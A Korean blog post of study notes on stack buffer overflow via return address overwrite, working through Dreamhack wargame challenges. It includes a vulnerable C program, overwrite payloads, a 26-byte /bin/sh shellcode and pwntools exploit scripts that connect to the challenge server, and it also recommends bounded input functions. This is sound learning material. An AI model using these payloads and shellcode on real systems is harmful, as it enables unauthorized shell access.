[시스템 해킹] 💥 Exploit Tech : Return Address Overwrite(RAO)

zzoni·2022년 7월 21일
0

시스템해킹

목록 보기
8/15

아래 코드에서 취약점을 찾아보세요!

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

◼ 취약점 분석

scanf("%s", buf);

scanf%s입력의 길이를 제한하지 않는다.

-> scanf%s 포맷 스트링은 절대로 사용하지 말아야 한다!
정확히 n개의 문자만 입력받는 %[n]s의 형태로 사용해야 한다.

  • 버퍼를 다루면서 길이를 입력하지 않는 함수는 모두 위험하다.
    대표적으로 strcpy, strcat, sprintf가 있다.
    -> strncpy, strncat, snprintf, fgets, memcpy등 버퍼의 크기를 같이 입력하는 코드를 작성하는 것이 바람직하다.



◼ 트리거

취약점 발현

  • Input에 buffer의 크기를 넘어가는 문자열을 입력할 경우
    segmentation falut가 뜬다!
    • 이는 프로그램이 잘못된 메모리 주소에 접근했다는 의미!
    • 코어파일 덤프됨

◼ 코어 파일 분석

gdb -c core로 코어 파일 오픈




💥 익스플로잇

◼ 스택 프레임 구조 파악


입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있으므로, 그만큼을 쓰레기 값(dummy data)으로 채우고, 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.


◼ 반환 주소 덮기!

get_shell()의 주소로 main 함수의 반환 주소를 덮어 셸을 획득한다.

◼ 페이로드 구성

페이로드란? 공격을 위해 프로그램에 전달하는 데이터

◼ 엔디언 적용

예제에서는 리틀 엔디언을 사용하는 인텔 x86-64 아키텍처를 대상으로 한다!
-> 즉, get_shell의 주소 예시인 0x4006aa\xaa\x06\x40\x00\x00\x00\x00\x00로 전달되어야 한다.

💥 익스플로잇!!

(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao

🎮 wargame - Return Address Overwrite

(python -c "import sys;sys.stdout.buffer.write(b'A'0x30 + b'B'0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc [HOST][PORT]


🎮 wargame - basic_exploitation

⭕ basic_exploitation_000

  • 예상 하기론
    buf(128)|sfp(4)|ret(4) 이럴 거 같으니...

  • 디버깅 해서 확인해봅시다

    gdb -q basic_exploitation_000
    input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCBBBB
    를 넣어보면 ret에 0x42424242 즉, BBBB가 들어가있는 것 확인 가능!
    -> 해당 위치에 임의의 return address를 넣어 덮어쓰기

  • idea
    앞에 더미 값을 주고,
    ret을 buf의 주소로 덮어씌우면
    buf에 넣은 쉘코드를 실행할 수 있겠구나~

  • 쉘코드 : 26 Bytes Shell Code (scanf 우회 쉘코드)
    \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

  • python 코드

    from pwn import *
     
    # 첫 번째 인자에는 'HOST'를 
    # 두 번째 인자에는 'PORT' 입력 
    # 아래는 예시!
    = remote('host3.dreamhack.games',15895)
     
     
    p.recvuntil('buf = (')
    buf = int(p.recv(10), 16)
     
    # 26byte scanf 우회 쉘코드 (띄어쓰기 등, scanf에 걸리는 아이들이 빠진 쉘코드!)
    shell = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
     
    payload = shell + b'A'*(132-len(shell))
    payload += p32(buf)
     
    p.sendline(payload)
    p.interactive()
     





⭕ basic_exploitation_001

얜 위에 거보다 쉬움! 함수의 주소만 확인 하면 됨.

  • 디버깅하여 read_flag의 주소 확인
    print read_flag -> 0x80485b9
  • python 코드
    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *
     
    = remote('host3.dreamhack.games',12958)
     
    payload = b'A'*132
    payload+=p32(0x80485b9)
     
    p.sendline(payload)
    p.interactive()
profile
모든 게시물은 다크모드에서 작성되었습니다!

0개의 댓글